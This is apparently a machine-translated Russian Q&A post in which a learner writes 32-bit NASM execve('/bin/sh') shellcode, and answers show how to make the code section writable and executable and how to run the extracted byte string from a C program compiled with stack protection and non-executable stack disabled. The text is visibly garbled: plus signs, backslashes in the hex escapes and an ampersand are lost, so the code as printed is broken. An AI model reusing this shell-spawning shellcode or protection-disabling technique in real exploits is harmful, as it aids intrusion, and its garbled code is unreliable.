#ubuntu #nasm #shellcode #dep
#ubuntu #nasm #шеллкод #dep
Вопрос:
я использую ubuntu 14.04, 64 бит. я изучаю написание шеллкода. Итак, чтобы создать оболочку, я написал следующую программу
segment .text
global _start:
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi 7], al #here i get Error
lea ebx, [esi]
mov long [esi 8], ebx
mov long [esi 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi 8]
lea edx, [esi 12]
int 80h
GotoCall:
call shellcode
Db '/bin/shJAAAABBBB'
Скомпилированный -> nasm -ggdb -f elf Shellcode_Execve.asm
Linked -> ld -m elf_i386 -ggdb -o Shellcode_Execve Shellcode_Execve.o
Когда я запустил его в GDB, я обнаружил, что в приведенной ниже инструкции я получаю ошибку,
mov byte [esi 7], al
я обнаружил, что это из-за DEP (ПРЕДОТВРАЩЕНИЕ ВЫПОЛНЕНИЯ ДАННЫХ).
Итак, я попробовал «-fno-stack-protector -z execstack» для компиляции и ссылки, как показано ниже,
$ nasm -ggdb -f elf32 -z execstack Shellcode_Execve.asm
nasm: error: unrecognised option `-z'
nasm: error: more than one input file specified
type `nasm -h' for help
$ nasm -ggdb -f elf32 -z execstack -o shell Shellcode_Execve.asm
nasm: error: unrecognised option `-z'
nasm: error: more than one input file specified
type `nasm -h' for help
$ nasm -ggdb -z execstack -f elf32 -o shell Shellcode_Execve.asm
nasm: error: unrecognised option `-z'
nasm: error: more than one input file specified
type `nasm -h' for help
$ nasm -ggdb -fno-stack-protector -z execstack -z execstack -f elf32 -o shell Shellcode_Execve.asm
nasm: fatal: unrecognised output format `no-stack-protector' - use -hf for a list
type `nasm -h' for help
$ nasm -ggdb -f elf32 Shellcode_Execve.asm
$ gcc -ggdb -m32 -fno-stack-protector -z execstack -o Shellcode_Execve Shellcode_Execve.o
Shellcode_Execve.o:Shellcode_Execve.asm:5: multiple definition of `_start'
/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../lib32/crt1.o:(.text 0x0): first defined here
/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../lib32/crt1.o: In function `_start':
(.text 0x18): undefined reference to `main'
collect2: error: ld returned 1 exit status
$ nasm -ggdb -f elf32 Shellcode_Execve.asm
$ gcc -ggdb -m32 -fno-stack-protector -z execstack -o Shellcode_Execve Shellcode_Execve.o
$ ./Shellcode_Execve
Segmentation fault (core dumped)
$ nasm -ggdb -f elf32 Shellcode_Execve.asm
$ ld -m elf_i386 -ggdb -z execstack -o Shellcode_Execve Shellcode_Execve.o
$ ./Shellcode_Execve
Segmentation fault (core dumped)
как и выше, я перепробовал все способы отключения DEP с помощью GCC и ld.
Но ничего не работает. Итак, как я могу отключить DEP? и заставить мой Код работать?
(пожалуйста, убедитесь, что проблема связана с DEP)
Ответ №1:
я немного изменил свой код NASM, теперь он выглядит так, как показано ниже,
section .mytext progbits alloc exec write align=16 ; CHANGED HERE
global _start:
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi 7], al
lea ebx, [esi]
mov long [esi 8], ebx
mov long [esi 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi 8]
lea edx, [esi 12]
int 80h
GotoCall:
call shellcode
Db '/bin/shJAAAABBBB'
Раздел .text по умолчанию недоступен для записи. Просто изменил первую строку на
«section .mytext progbits alloc exec write align=16 «
для получения подробной информации о progbits alloc exec write, пожалуйста, нажмите здесь.
И компоновщик имеет некоторое переопределение по умолчанию, поэтому он игнорирует writable .text, даже если вы попросите об этом. Но это не волнует, если у него другое имя.
теперь скомпилируйте и свяжите его,
nasm -f elf32 Shellcode_Execve.asm
ld -m elf_i386 -o Shellcode_Execve Shellcode_Execve.o
Теперь это РАБОТАЕТ 🙂
Ответ №2:
Я знаю, что я действительно опаздываю, но я боролся с этим же кодом и защитой стека gcc. При преобразовании его в шеллкод с помощью objdump -d я получил:
char shellcode[]="xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxffxffx2fx62x69x6ex2fx73x68";
int main()
{
int *ret;
ret = (int *)amp;ret 2;
(*ret) = (int)shellcode;
}
Затем, с помощью ваших советов, я смог скомпилировать и запустить его с:
~/Shellcode $ gcc -fno-stack-protector -z execstack execShellSpawn.c -o execShellSpawn
Без -z execstack я получаю ошибку Segfault. Без -fno-stack-protector она выполняет примерно столько же, сколько exit(0).